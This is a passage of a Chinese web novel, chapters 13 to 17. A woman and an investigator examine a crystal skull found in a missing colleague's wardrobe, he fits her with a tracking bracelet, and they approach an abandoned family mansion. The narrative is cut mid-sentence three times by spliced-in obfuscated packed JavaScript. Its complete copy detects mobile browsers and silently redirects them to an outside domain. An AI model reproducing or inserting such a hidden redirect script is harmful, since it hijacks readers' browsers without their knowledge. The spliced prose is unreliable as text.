是伊峰秋的手。 唐镜的心渐渐沉静下来,那双诡异黑眸引起的精神波动也渐渐平息。 “能不能把蜡烛点燃?”她对伊峰秋说。 伊峰秋从衣兜里摸出一个打火机,俯身点燃脚边那根香薰蜡烛。 烛火里散发出淡淡的香味,有点像檀香,却又比檀香多了点飘渺的感觉,唐镜嗅着这股香味,凝视着骷髅头里的那双眼睛,终于捕捉到了脑海里一闪而逝的东西…… 13. 第 13 章 “那天早上,叶菲身上散发的就是这个香味,而且她的眼眸,也不同以往,和这双眸子一样,特别的黑。” 唐镜闭上眼睛,慢慢说道。 那天在武术教室里,因为叶菲的妆容,以及只剩下半截的耳朵,让唐镜过于震惊,以至于她忽略了叶菲异于平常的眸子和身上不同的香味。 大概是因为从小修习传统武术的缘故,唐镜的五感比常人要敏锐一些,尤其是鼻子,对气味非常敏感。 叶菲一直有用香水的习惯,但那天,她身上散发的香味明显不同,而且唐镜以前从没有闻到过这种香味,当时她可能没在意,但是她的潜意识记住了这个味道。 叶菲的眸子,也是黄种人的褐色眸子,可是那天她的眼眸却极黑,迥异寻常。 那种眸子,绝对不会是美瞳的效果。 武术教室里的那个女人,真的是叶菲吗? 伊峰秋一直握着唐镜的手,而唐镜则一直闭着眼睛,讲述着从潜意识里浮起来的细节。 等讲完所有回忆起来的细节,她才重新睁开眼睛,正迎上伊峰秋的目光。 他的眼神不同于以前的那种锐利,温和了许多,神情中也多了些微的笑意:“你很勇敢,你回忆起来的这些线索,非常重要。” 认识他以来,这是第一次见到他笑,他笑起来的时候,眼神里面有种少年般的单纯,让他眉目间的阴郁淡了许多。 这笑容,让唐镜心情突然没那么低落了。 伊峰秋本来安排阿帆送唐镜回家,可是被她坚决拒绝了。 最后伊峰秋把她送到小区外,帮她拦了一辆出租车。 “有什么事情给我打电话。” 他一边叮嘱一边帮她关上车门。 唐镜点点头,出租车开出去后,她从观后镜里看到他从口袋里掏出一支香烟,依旧没有点着,只是在手指间把玩。 他随身带着烟,唐镜却从来没见他抽过,只是一直拿在手里把玩。 而且她注意到他的牙齿,雪白整齐,并没有抽烟留下的痕迹,他身上那淡淡的烟草气息,多半是他经常拿烟把玩的缘故吧。 随身带烟,却从来不抽烟,真是个奇怪的男人。 接下来的几天,唐镜的生活又恢复了正常,早睡早起,按时去武术馆上班,偶然空下来,一个人待着的时候,她时不时会想起那个惨白的骷髅头和那双诡异的眼眸。 也许是因为她最终鼓起勇气,重新又回到衣橱里,去面对它们,所以再次想起来的时候,虽然有些不舒服,却不再害怕。 一直没有伊峰秋的消息,也不知道他有没有从那颗骷髅头上查出什么线索。 其实这几天唐镜也想发个微信问问他,不过想到那天在叶菲家的情形,总觉得有点尴尬,而且他这种职业身份,应该有保密条例,她冒冒失失去问,多半会碰个钉子。 转眼已经周四了,后天就是约定一起去齐修家祖宅的日子。 下班后,唐镜手机拿起又放下,犹豫了一会,最终还是给伊峰秋发了条微信,问去齐修老宅前要不要做些什么准备。 微信发出去没多久,就收到了伊峰秋的回复“请你吃晚饭,去那家小吃店等我,我半个小时后到。” 唐镜忍不住回了条微信:你怎么知道我没吃晚饭? 伊峰秋秒回:你中午一点半下课,两点左右吃午饭。晚上五点半上课,六点半下课,既然两点已经吃过饭,晚饭不可能放在五点半之前吃,你六点四十发微信给我,显然是刚下课,还没有吃晚饭。 对她的日常工作时间了如指掌,逻辑无懈可击。 跟特殊部门人员打交道,真可怕。 唐镜收拾好东西,去了小吃店。 小吃店的老板看见她来了,异常热情,领着她就往二楼包厢走:“峰哥打过电话了,想吃什么尽管说,嘿嘿,不是我许小三夸口,偌大的江南市,我的厨艺也是能排上前几号的。” 许小三,这名字还挺有意思,唐镜忍不住笑道:“你是家中老三?” “是啊,父母图省事,直接叫小三,还好我是男的,不然准改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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严肃深沉的人,突然暴露了另外一面,这种反差萌,还真是让人有点心跳加速呢。 唐镜看呆了,直到伊峰秋咳嗽了一声,才回过神来,脸上猛然一热,赶紧移开视线:“那个、骷髅头,怎么回事?” 其实她纯粹是为了掩饰窘迫感,随便找个话题转移注意力罢了,不料却歪打正着,居然问到了点子上。 14. 第 14 章 伊峰秋:“你有没有听说过水晶头骨?” “水晶头骨?”唐镜一怔,这个她还真听说过,以前看过一个BBC拍的纪录片,叫做《水晶头骨之谜》,讲了关于水晶头骨的一些传说。 根据纪录片里的说法,水晶头骨共有52个,其中有13个在玛雅人那里,其他的散布在各大洲的神圣之地,西藏就是圣地之一。 在这52个水晶头骨里,有12个下颌能活动,被称为“会唱歌的头骨”。 这12个“会唱歌的头骨”里面存储了大量的知识,是外星人给地球人带来的礼物,为了协助知识的传播,外星人又在地球上制造了40个下颌骨不能活动的头骨,称作“会说话的头骨”。 不过在美洲印第安人的传说中,对水晶头骨有另外一种解释:古时候有13个水晶头骨,能说话,会唱歌。这些水晶头骨里隐藏了有关人类起源和死亡的资料,能帮助人类解开地球生命起源之谜。 1927年,考古学家在中美洲洪都拉斯玛雅废墟中发现了第一个水晶头骨,这个头颅用水晶雕成,高12.7厘米,重5.2公斤,大小如同真人头,是依照一个女人的头颅雕成的。 经过检测,这颗头颅的五官比例与现代人一模一样,牙床上整齐地镶着上下两排牙齿,眼睛由圆形水晶石点缀,鼻骨则由三块水晶石拼成。 专家们研究过头颅的表面及其内部结构后,肯定其历史非常悠久,确实是玛雅时代遗留的文物。 近代光学产生于十七世纪,而人类准确地认识自己的骨骼结构更是十八世纪解剖学兴起以后的事。这个水晶头颅却是在非常了解人体骨骼构造和光学原理的基础上雕刻成的,一千多年前的玛雅人是怎样掌握这些高深的解剖学和光学知识的呢? 据说水晶头骨还有催眠功能,如果让一个人紧盯着水晶头骨的眼窝处,人很快就会昏昏欲睡,进出一种奇妙的状态中。 传说玛雅人在祭祀神灵的时候,会把水晶头骨供奉在祭台上,所有人的目光同时凝视水晶头骨,就能触摸到神灵。 可是,水晶头骨和叶菲衣橱里的骷髅头有什么关系? 看到唐镜疑惑的表情,伊峰秋没说话,只是拿出手机,调出里面的照片,放到她面前。 第一张照片是衣橱里的那只骷髅头。 第二张照片,则是一张X光照片,看轮廓,好像是裹着一层东西的骷髅头。 “那颗骷髅头拿回局里检测,发现骷髅头的外表涂抹着一层五毫米厚的骨粉,骨粉下面包裹着的材质,是水晶。” 伊峰秋说完,又在手机里调出第三张照片。 照片上是一个水晶骷髅,莹润剔透,散发着淡淡的光泽,就如精美的艺术品,不会给人丝毫恐怖感,只会赞叹不已。 “这是去掉骨粉后的水晶骷髅。” 唐镜瞬间石化,叶菲衣橱里藏着的,难道就是传说中的水晶头骨? 现在世界上,总共只发现了三个水晶头骨,其中两个水晶头骨收藏在大英博物馆,一个水晶头骨收藏在法国的一家博物馆。 叶菲到底是什么人,怎么会有水晶头骨? 小偷潜入叶菲家里,是不是为了寻找这个水晶头骨? 伊峰秋收起手机:“这是世界上被发现的第四个水晶头骨。” 唐镜一边听伊峰秋说,一边打开手机百度搜索,输入水晶头骨四个字,跳出了一堆关于水晶头骨的介绍。 “难怪我上次看到骷髅头的眼睛,产生了那么可怕的感觉。”唐镜喃喃说道,那种灵魂被吸入无底深渊的感觉,现在想起来,还是觉得心悸。 “局里通过检测,发现那双黑宝石做的眼睛,有一种异样的能量波动,这种波动会影响人的脑电波,特别是在没有心理准备的情况下,很容易出现幻觉。” 能量波动? 难道说上次在衣橱里看见骷髅头眼睛时,唐镜会有那么恐惧的感觉,并不仅仅是因为它本身的可怕,还是因为它影响了她的脑电波,加强了她的恐惧感? 伊峰秋似乎猜出唐镜的想法,点点头:“专家还在继续研究水晶头骨,看看能不能发掘出更多的奥秘。你有没有觉得,齐修这个人很可疑。” “齐修是挺古怪的,不过一般沉迷禅修的人,都有点神叨叨的。” 伊峰秋若有所思:“齐修带郑落落去了喜马拉雅山的那座古庙,后来郑落落才会把你带去那座古庙,你因此拿到这块玉牌,真的只是偶然吗?” “伊队的意思是,齐修借禅修认识郑落落,带郑落落去古庙,绕了好大一个圈,就是为了让我拿到这块玉牌?” 这脑洞开的也实在太大了点吧,伊大队长不去写小说可惜了。 “为什么不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这位美女点的都是你爱吃的菜喔。” 咦,明明是某人点菜无能,让他做伊峰秋常点的菜就行,为什么被他这么一说,感觉怪怪的呢? 伊峰秋倒是神情淡定,给许小三扔了支香烟。 许小三把香烟塞在耳朵上,拿起托盘,笑嘻嘻的说:“菜都上齐了,不打扰你们了,慢慢聊。” 房间里安静下来,伊峰秋把筷子递给唐镜:“先吃点东西吧,总之你平时注意安全,如果发现有什么不对劲的地方,第一时间联系我。” “我才不怕呢。”唐镜嘟囔了一句,武术不是白练的。 伊峰秋笑笑。 果然,美食是最能安慰人的,当胃里塞满食物的时候,心情就会变好。 15. 第 15 章 “齐修小叔祖的经历,如果是真的,那么对我们解开叶菲失踪之事,会有很大的帮助。”伊峰秋若有所思,“其实我们可以提前去他家老宅看看。” “好主意!” 在一起去齐修老宅之前,先提前勘察一遍,做到胸有成竹,不愧是专业人士,脑回路果然不是她这样的普通人能比的,唐镜在心里给伊峰秋点了个赞。 以他的身份,想要弄清楚齐修老宅的所在地,也不是什么难事。 “我这几天搜集了一些关于齐家的资料,齐家祖上,在晚清出过几个名臣,后来到了民国,齐家凭借原先的政治影响力,手握重兵,周旋于军阀之间,也是权倾一方的家族。他故事里的小叔祖,名字叫齐卓宇,文武双全,是被公认的齐家同辈中最杰出的人物。” 伊峰秋一边说,一边打开手机,让唐镜看他搜集的资料。 手机里是他在档案馆里拍摄的照片,里面还有民国时期的报纸,从上到下的竖排版,繁体字,黑白照片,都是关于齐家的一些新闻。 其中有一页报纸,用了半个版面介绍从德国学成归来的齐卓宇,配的照片是齐卓宇走下轮船的照片,身穿深蓝色呢料军装,脚上是铮亮的长筒马靴,剑眉星目,英气逼人。 这张照片上的齐卓宇,比起齐修给他们看的全家福照片里,更加高傲和意气风发。 伊峰秋一页一页翻着手机里的照片,关于为齐卓宇选妻子举办的那场盛大宴会,也上了报纸头条。 当然,齐卓宇中途退出宴会一事,也被无孔不入的记者报道出来,只是写的含含糊糊,说什么齐卓宇偶发疾病,身体不适云云。 也有报纸的文章,暗示齐卓宇犯了癫狂之症,并且引经据典,说齐家祖上就有个名人患了癫狂症,英年早逝,这是齐家血脉中遗传的病症,无药可医。 而且越是那种花边小报,越是喜欢把齐家的事情写的曲折离奇,和现在网络上某些八卦写手不相上下,绝对迎合了普罗大众窥奇心理。 唐镜边看伊峰秋手机里搜集的资料,边和齐修讲的故事印证,可以肯定,至少在宴会之前,关于齐卓宇的事情还是真实可信的。 不过宴会之后,也许是因为齐卓宇从此闭门不出,所以报纸上关于他的报道越来越少,仅有的一些只鳞片爪,也是毫无根据的猜测罢了。 资料里面,也有齐修的个人经历。他小学、中学成绩优异,顺理成章考上国内排名前十的大学,学的是考古专业,本科毕业后去英国进修,期间在大英博物馆、克里斯提拍卖行做兼职。 后来齐修父母出车祸身亡,齐修回国,接手父母留下的古玩店聚真阁,在短短三年内,将古玩店扩大了两倍。 资料中还提到齐修沉迷于禅修,曾经多次前往印度和尼泊尔的圣地,跟随一些知名的高僧和大师,练习禅修。 近年来,随着科技对大脑的了解越来越深入,禅修也变成了一种时尚,本质上就是通过静坐冥想的方式,进入到“心流”状态。 所谓“心流”,就是人进入了一种沉浸其中的状态,注意力高度集中,忘了自我的存在,忘了时间的流逝,身心充满着强烈的愉悦感。 据说很多“神人”曾经都是禅修爱好者。 如果齐修是禅修爱好者,那么就能理解,他为什么会找到喜马拉雅山的那座古庙了。 “你看这张照片,”伊峰秋滑动手机,指着上面的一张建筑物照片,“这是尼泊尔一个隐秘的圣庙。” 圣庙修的很奇怪,从外表上看,是一个狭长的椭圆形,有点像平放的橄榄,虽然是寺庙,可是整个建筑只有黑白两色,寺庙的颜色,通常以黄色和红色为主。 圣庙正门也不同于寻常那种长方形的大门,而是一扇圆形的门,也是黑色的,门的中间用尼泊尔文写了一行字,应该是名字,可惜唐镜看不懂。 “这一行字翻译过来,就是神力之源。”伊峰秋指着字说道。 尼泊尔那里有很多教派,信仰各种各样的神灵,不过这么古怪的庙宇唐镜也是见所未见闻所未闻。 伊峰秋用手指滑动了下屏幕,把照片缩小:“你再看看,这圣庙像什么?” 照片缩小之后,整个圣庙一览无余,唐镜突然僵住,照片里面,圣庙的形状,是一只眼睛,那扇圆形的门,则是眼睛中间的眸子! 她盯着照片,好半天才回过神来,喃喃说道:“眼睛!这个寺庙的形状很像是一只眼睛!寺庙为什么会修成这样?” 伊峰秋点点头:“这张照片是在叶菲的电脑里发现的,根据她出入境记录,她在失踪前去过尼泊尔。” 说到这里,他手指在屏幕上一滑,翻到下一张照片。 这张照片里的取景有些古怪,叶菲在照片的下半部分,只有肩膀以上的部位,左上角是圣庙的侧面,右面则是一块石碑。 从照片里的情形来看,应该是叶菲蹲在石碑下面,偷偷摸摸的自拍。 “经过局里的技术人员的分析,这张照片应该是叶菲拿自拍杆偷偷拍下来的,在拍的时候,为了不被人发现,所以才会有这么古怪的角度。” “为什么要用这个角度自拍呢?直接对准圣庙侧面拍一张,岂不是更完整更清晰?” “应该是叶菲想让自己也出现在这张照片里。” 伊峰秋一边说,一边滑动屏幕,放大照片,最后满屏幕只剩下圣庙侧面。 放大之后,可以清楚的看到,圣庙侧面墙壁阴影下,三个男人呈“品”字形盘膝而坐,其中两个穿着僧袍,另外一个穿着白色的禅修服,都闭着眼睛。 那个穿着白色禅修服的男人,虽然面容看上去依旧有些模糊,可唐镜还是一眼就认出来,他正是齐修。 乍一看,像是三个人正在静坐冥想,可是仔细看上去,就发现三个人的表情不对,那两个僧人脸上的肌肉有些古怪,眉头皱在一起,嘴角也不自然的扭曲着,像是正在经受痛苦的折磨。 而齐修的表情则显得比较轻松,俊秀的脸上还带着淡淡微笑,不过牵起的嘴角,依然暴露出他内心,显然并不像表面上这样轻松。 叶菲的这张照片,清清楚楚说明她和齐修出现在同一个地方,很显然,她认识齐修。 “难道叶菲是在跟踪齐修?”唐镜忍不住说道。 “根据出入境记录,齐修比叶菲早三天去了尼泊尔,他在尼泊尔待了十天,又从尼泊尔去了印度,在印度待了一段时间才飞回国内。” “如果叶菲是因为齐修拍下这张照片,有没有可能,叶菲去尼泊尔,是为了跟踪齐修?”唐镜猜测道。 “我也这样认为。”伊峰秋点点头。 齐修这个人,给唐镜的感觉越来越扑朔迷离了,而且照片上,他和那两个僧侣的表情太过古怪,既然是在打坐,为什么僧侣的表情会那么痛苦,就好像他们不是坐在蒲团上,而是坐在针毡上。 为什么会这样? “你们武术也练习冥想,能不能给我说说?”伊峰秋问唐镜。 “武术里的冥想其实很简单,就是一种训练注意力的方式,能让人快速的达到全神贯注、心无旁骛的状态,如果说武术的体式是对身体的训练,那么冥想就是对大脑的训练。”唐镜一边说,一边拿起茶杯晃起来。 茶水里的茶叶随着她的晃动开始从杯底翻腾起来。 “这水里的茶叶,就好比我们 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“大活人都能凭空消失,为什么就不可能走火入魔。”唐镜嘟哝道,福尔摩斯不是说过吗,排除了所有的不可能,剩下来的那个答案,无论多么不可思议,都应该是正确的答案。 和伊峰秋这么边吃边聊,等一顿饭吃完,都九点多了,他看看表:“我送你回家。” 许小三把两人送出店门,外面的夜市还很热闹,正是夏末秋初的时节,空气里都是微甜的桂花香,虽然没有喝酒,可是走在夜风里,有微醺的感觉。 “伊队,你打算怎么安排人保护我?”唐镜想起吃饭前伊峰秋说的话,忍不住问道。 “第一个方案,我们给你提供一个安全屋,你可以住进安全屋,尽量不出门,这期间也不能去武术馆上课,等到我们认为你彻底安全了,再恢复正常的生活工作。” “我拒绝!” 没有半分犹豫,唐镜就否决了这个方案,这样子和坐牢有什么区别?一天两天还好,如果一个月两个月,她准得疯了。 更何况,这期间肯定不会给她发薪水,又上不了班,姜姜肯定会炒掉她,到时候她拿什么交房租,靠喝西北风填饱肚子? “我也不同意这个方案,第一影响你的正常生活,第二你要是突然失去踪迹,反而会打草惊蛇,更不利于案件的侦破。”伊峰秋笑笑,安抚道。 “哦,不是你提出的方案啊。”唐镜忍不住松了口气,如果这么不靠谱的方案是他提出的,她肯定会发自内心的去鄙视他。 也不知道为什么,知道这方案不是他提出来的后,她心里暗暗窃喜。 奇怪,自己窃喜个啥? “部门里人手紧张,暂时也没办法抽调人力二十四小时跟着你……” “谢了,千万别让人二十四小时跟着我,我可受不了,到时候没等抓到罪犯,我就得先疯了。”没等伊峰秋说完,唐镜就打断了他的话。 不管是上班下班,吃饭睡觉,旁边都有个人跟着,光是想想,都觉得头皮发麻。 “咳……”伊峰秋清了清嗓子,“最后我们根据你的具体情况,申请了个小玩意给你使用。” 不知道为什么,虽然伊峰秋的语气很严肃,神情也是惯常的阴郁,可她总觉得他的眼神有点窘迫。 “什么小玩意?”唐镜的好奇心被引起来了,脑海中闪现出电影里曾经出现过的那些个精巧的武器。 能射出麻醉针的眼镜? 可以喷出毒气的钢笔? 跟口香糖一模一样的微型炸弹? …… 16. 第 16 章 伊峰秋眼睛朝四周一扫,停下脚步,朝旁边树下面的石制长凳指了指:“先坐下再说。” 唐镜这才发现,边聊边走,不知不觉,两人已经走出夜市,走到了通往植物园的路上,路边已经看不到多少行人了,偶然能看到一对情侣相拥着走过。 这条路两边都种了高大的法国梧桐,每隔三十多米,树下就有一个木制长椅,供行人休息,长椅后面是大片大片的花木,非常美丽,很多情侣喜欢流连在此。 唐镜和伊峰秋走到长椅前坐下,他从衣服口袋里掏出一个不锈钢做成的盒子,大概有手掌大小。 看着他打开盒盖,唐镜忍不住屏住呼吸,脑海里浮现出各种稀奇古怪的东西来,不过等盒盖打开后,她有点诧异。 盒子里面,是一个很普通的银手镯,手镯上镶嵌了三颗水晶,当然,是那种一看就很廉价的水晶,也没什么多余的纹饰。 总之怎么看,怎么都是那种普通到街边银制品店都能找到的货色。 唐镜看了半天,也没看出有什么特别的,不禁有些失望的说:“这就是你申请的,所谓的大杀器?” “咳、咳……”伊峰秋又清了清嗓子,神色似乎有些不自然,“你先戴上,我再告诉你它的用处。” 唐镜有些期待的伸出手腕。 伊峰秋从盒子里拿出手镯,手镯很小,也不知道他怎么弄的,手镯拉开后,套进她的手腕,然后发出轻微的咔哒声,手镯重新缩小,几乎是贴合在手腕上。 “这是指纹识别开关,只有我的指纹才能再次拉开手镯,取下来。”伊峰秋说道。 “哦,反正我是没办法自己取下来,对吧。”唐镜一边摸着手镯,一边故作漫不经心的样子。 “这块水晶,实际上里面是一个摄像头,嗯,摄像头拍下来的东西,可以同步无线传输到我的手机上。” “这么神奇?”唐镜立刻对这个手镯刮目相看,不过下一个瞬间,她就从椅子上跳了起来,“有没有搞错?!” 她终于明白为什么伊峰秋刚才说话的时候,眼神会有点窘迫了…… 这个摄像头拍摄下来的东西,同步传输到伊峰秋的手机上,那她洗澡的时候怎么办?换衣服的时候怎么办? 很显然,伊峰秋也想到了这些,所以他的神情才会不自然。 “这个摄像头怎么关上?”她有些恼火的扯了扯手镯,想把它从手腕上拽下来,但显然没什么用,手镯牢牢卡在手腕上,褪不下来。 “关不上。”伊峰秋很直接的说。 “现在就把手镯给我拿下来!”唐镜把手腕伸到他鼻子下面,恶狠狠的说。 “不行。”伊峰秋回答的很干脆。 “那我洗澡的时候怎么办?你是不是要把我全部都看光!”唐镜一气之下,也顾不得矜持了,冲着伊峰秋大吼道。 “嘘!”伊峰秋好像也有点急了,伸手捂住她的嘴,“小点声,别胡说!” 唐镜一急之下,张嘴冲着他的手掌狠狠咬了下去,然后就听见他倒吸一口凉气的声音,齿缝间有腥甜的味道。 一对情侣正好从旁边走过,被吓了一跳,看了过来,正好看见伊峰秋捂着唐镜的嘴。 两人顿时停下脚步,看看唐镜,又看看伊峰秋,女的有些迟疑的问:“你、你没什么事情吧,需要帮忙报警吗?” 报警,那不是糗大了? 唐镜赶紧松嘴,两只手往伊峰秋腰上一搂,头往他胸前一靠,冲着那对情侣笑的见牙不见眼:“不用,不用,我俩闹着玩呢,这是我们之间的小情趣。” 那对情侣放松下来,会心一笑,继续往前走去。 风中传来那女孩压低的声音:“口味好重……” 直到那对情侣走远,唐镜才回过神来,才感觉到伊峰秋的身体又僵硬的像块木头,鼻端传来他身上的气息,干净清爽,淡淡的汗味里夹杂着一丝几不可闻的烟味。 劲瘦的腰身,蕴含着惊人的弹性,胸膛鼓胀,充满力量。 突然间她脑海里浮现出八个字“穿衣显瘦,脱衣有肉”。 呸呸呸,瞎想什么呢! 她赶紧松开手,往旁边挪了挪,有点尴尬:“我不是故意的啊,你别介意,啊,你的手流血了……” 唐镜忙不迭的掏出纸巾,去擦拭他的手掌,掌缘上,清晰的一排牙印,血珠从牙印里渗出来。 “咳、咳……”伊峰秋清了清嗓子,“镯子上另外两块水晶,一块用力按压,可以弹出麻醉针,只要被针刺破皮肤,一分钟内会失去知觉,最快也得十分钟才能醒过来。” “这个挺实用。”唐镜随口应道。 “另外一块是GPS全球定位系统,这样万一有什么意外,我们可以随时追查到你的行踪。” 好吧,这个功能也还可以接受,就是摄像头的存在,实在让她有些窝心。 伊峰秋从口袋里掏出手绢递给唐镜,又咳嗽了一声:“咳,不合适的时候,你可以用这个把手镯包起来。” 唐镜先是一怔,随即明白了他的用意,就是说洗澡啊,换衣服啊进行诸如此类,不宜人旁观的活动时,就用手帕把镯子缠起来。 “那我可以用黑胶布把摄像头缠起来啊。”她心中豁然一亮,顿觉天蓝蓝海蓝蓝。 “不可以,你用黑胶布缠住,会引起人的怀疑!”伊峰秋的语气非常认真。 唐镜一想,他说的确实有道理,好端端的镯子,用黑胶布缠了一块,如果是有心人,定会察觉出异样。 “好吧,好吧,等案子结束了,我把手帕还给你。”她接过手帕,塞进包里,谁让她习惯了用纸巾,连块手帕都没有呢。 “咳、咳……,不用还了。” “伊队,你是不是嗓子不舒服啊,怎么今天老是咳嗽,喝点枇杷止咳露吧,效果真心不错。”她好心建议道。 “哦。”伊峰秋不置可否,转移了话题,“你做好准备,后天我们去齐修的老宅看看。” “后天?” 这么快就要去齐修家的老宅,有点出乎唐镜意料,她不得不继续向老板姜姜请假了。 不过自从叶菲在馆里神秘失踪后,唐镜每次请假,姜姜都很痛快的同意,不会像以前那样给她脸色看。 她猜可能是伊峰秋给姜姜打过招呼,有需要的时候,她要配合查案工作,所以姜姜才会那么爽快。 “对了,伊队,有件事情我骗了你,”唐镜迟疑了一下,“上次你跟踪我,我不是无意中发现的,而是收到了一条短信。” 她拿出手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234644|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,翻开那条短信给他看。 事情既然已经发展到这一步,唐镜觉得有必要向伊峰秋坦白,不知道他会不会发火,她偷偷观察他的表情。 表情没什么变化,不过目光有些冷。 “短信是通过软件发出来的,号码自动随机生成,所以查不到机主。”唐镜小声说,有点心虚。 伊峰秋没有说话,只是拿出他自己的手机,朝唐镜手机拍了两张照片,又把那条短信转发到他的手机上。 “下不为例。”他把手机还给唐镜,淡淡的说。 唐镜顿时松了一口气,赶紧对天发誓:“我保证,以后任何事情都知无不言,言无不尽,三百六十度无死角的配合你的工作。” “如果再犯?” “任君处置!” 说完之后,她突然觉得不对劲,咦,伊峰秋这到底算是捧哏,还是诱导口供? 还没等她想清楚,伊峰秋扬了扬手机:“录音为凭。” 他竟然录音了?啊啊啊,这人好阴险! 唐镜看着他把手机装进口袋,脑海里激烈斗争,要不要抢过手机,删除录音?袭击专业人士好像是一条挺严重的罪名。 而且,虽然唐镜学习了十几年的体术,真要动手,未必是伊峰秋的对手,毕竟抱过他,从他身上的肌肉状态,就知道他是个练家子。 他这样的身材,很明显经过特殊的对抗性训练。 健身房器械练出的肌肉,主要针对大肌肉群,虽然肌肉线条清晰明显,肌肉力量很强,但是爆发力,灵活性不足。 唐镜判断她在武力值上不占优势。 那么拼智商? 实践证明,虽然伊峰秋在智商上还形不成对她的碾压之势,不过唐镜也没看出来自己有什么优势。 经过一番激烈的思想斗争,唐镜决定不和他计较录音的事情了。 反正等这个案子结束,她和伊峰秋就不会再有任何交集,以后他走他的阳关道,她过她的独木桥,青山绿水,后会无期。 伊峰秋站起身:“走吧,我送你回家。” “我想吃冰激凌!” 既然被算计了,唐镜怎么也得讨回点利息才行! 她把伊峰秋带到最近的冰激凌店,点了一份最贵的冰激凌,看着他买单,她顿觉心里平衡了许多。 唐镜吃冰激凌的时候,伊峰秋坐在她对面,一只手拿着手机,另外一只手拿根香烟,没有点燃,只是在手指间把玩。 吃完冰激凌,唐镜摸摸肚子,心想明天晨跑的时候,得多跑个两公里才行。 “吃饱了,走啦。”唐镜对伊峰秋说。 “嘴角有冰激凌。”伊峰秋拿出纸巾,指指她的嘴。 唐镜伸出舌头在嘴角一舔,笑嘻嘻的说:“不能浪费。” 伊峰秋移开目光,站起身往门口走去,咦,他为什么走那么快?烟都掉在桌子上啦! 唐镜拿起香烟,赶紧跟上去。 伊峰秋一直把她送到楼下,等她上楼才离开。 唐镜进屋以后,先是用伊峰秋的手帕把手镯包好,这才开始换衣服洗澡。虽然知道手镯上的摄像头被遮住了,可是心里还是有种怪怪的感觉。 哎,希望她能早点习惯。 …… 17. 第 17 章 接下来的两天,唐镜和伊峰秋虽然没有见面,不过一直用微信保持联系。 到了约定出发的那天,下午四点整的时候,伊峰秋开车到小区外面接上唐镜,一起出发前往齐修家的老宅。 齐修的老家在桐留,距离Y市将近一个多小时的车程。 两个人到桐留的时候,已经是傍晚。 桐留位于山区和平原交界的地方,是一个规模颇大的镇子,大部分人家都住在山脚下,只有一片民国时候留下来的老房子,建在比较平缓的山腰上。 因为桐留这几年开发旅游资源,在山里面发掘出溪水飘流,溶洞探险之类的游玩景点,所以镇子上来来往往的游客也比较多,伊峰秋开了辆普通的越野车,两个人又都穿着户外服装,看上去和到此的游客没什么区别。 伊峰秋和唐镜没有在镇子上停留,把车留在停车场以后,就直接往山上走去。 从山脚到山坡的老房子,有一条平缓的石板路,宽度可以容纳一辆汽车通行,不过这条路年久失修,石板缝隙之间长满了野草,石板有的已经四分五裂。 看着路边残留的石制栏杆上的精美雕花,就知道当年建这条路的时候,投资不菲,施工和用料都是上乘。 唐镜跟伊峰秋一路走上去,也没遇见一个人。 天已经完全黑下来,路两边杂树丛生,风吹过的时候,树叶和树枝摇动着,发出呜呜声,石板路上荒草蔓延,两个人脚下,时不时传来枯枝被踩断的细微咔嚓声。 唐镜觉得像是走在另外一个时空里,荒凉而颓败。 喧嚣的桐留镇已恍若隔世。 “怎么这条路上连个人影都没有?”唐镜承认,她其实是有点没话找话,这么沉默的走着,实在是有点瘆人。 “上面的那片老房子,就是齐家的祖宅。”伊峰秋指了指路的尽头,“曾经那个混乱的时候,有群混混要去抄齐家老宅,以前的老镇长拦住他们,说齐家老宅煞气重,不能去。” “混混肯定不会相信这个。”唐镜忍不住说道,虽然她没有经历过那个混乱时代,但是从留下来的一些记录上,她知道那个时代的人,已经失去了任何敬畏之心,和疯子没什么区别。 “他们说老镇长是宣扬封建迷信,把老镇长打了一顿,然后就去了齐家老宅。根据我查到的资料,当时足足有四五十个混混,沿着这条路,进了老宅,他们当时还点着火把,说要烧了老宅。” “然后呢?”唐镜有些紧张,齐家老宅保存的很完整,并没有被火烧过的痕迹,当时是怎么幸存下来的? “混混们是清晨冲进齐家老宅的,当时镇上的人既不敢拦阻,也不敢跟上去,都聚在山脚,眼睁睁看着那些人消失在路的尽头,可是预料中的大火始终没有燃起。” “那些混混居然会手下留情,没烧齐家老宅?”唐镜觉得有些不可思议。 “而且一直到晚上,那些人都没有回镇上。” 唐镜汗毛顿时竖起来,忍不住往伊峰秋身边靠了靠:“什么意思?” “等到第二天天亮,镇上的人见那些混混们始终没有回来,也慌了神,赶紧去报了警,当时社会一片混乱,哪里有人管这种事情。那些混混父母,大部分都是镇上的人,就算害怕,也硬着头皮,去了齐家老宅。” “找到那些混混了吗?” “活不见人,死不见尸……” 唐镜终于打了个寒颤,也顾不得许多,一把抱住伊峰秋的胳膊:“那、那、那么多人都不见了?” 其实唐镜的胆子算是大的,齐家老宅的事情若是放在平时来讲,她也未必会吓成这样,可是在现在这种氛围下,想不害怕也不容易啊。 要知道,此时两人正走在通往齐家老宅的荒废山道上,四周的树木张牙舞爪,凉风从头顶掠过,再配上伊峰秋那平淡无起伏的语气,真是听的人一颗心都快要跳出腔子了。 这个时候,在唐镜眼里,路尽头的齐家老宅,就好像一只蹲在黑暗中的怪兽,张大了嘴,正准备吞噬敢靠近它的任何人。 “你要是害怕,我先送你回车里,我一个人去看看,你在车里等我。”伊峰秋拍了拍唐镜的手,低声说道。 有那么一瞬间,唐镜真的想转身回去,不过她的好奇心还是战胜了恐惧,当然,也许潜意识里,不想在伊峰秋面前表现的太没用。 “没事,既然我和你一起来了,那就一条道走到黑,半路打退堂鼓,那我就太不够朋友了!”唐镜勉强笑道,尽量表现出若无其事的样子来。 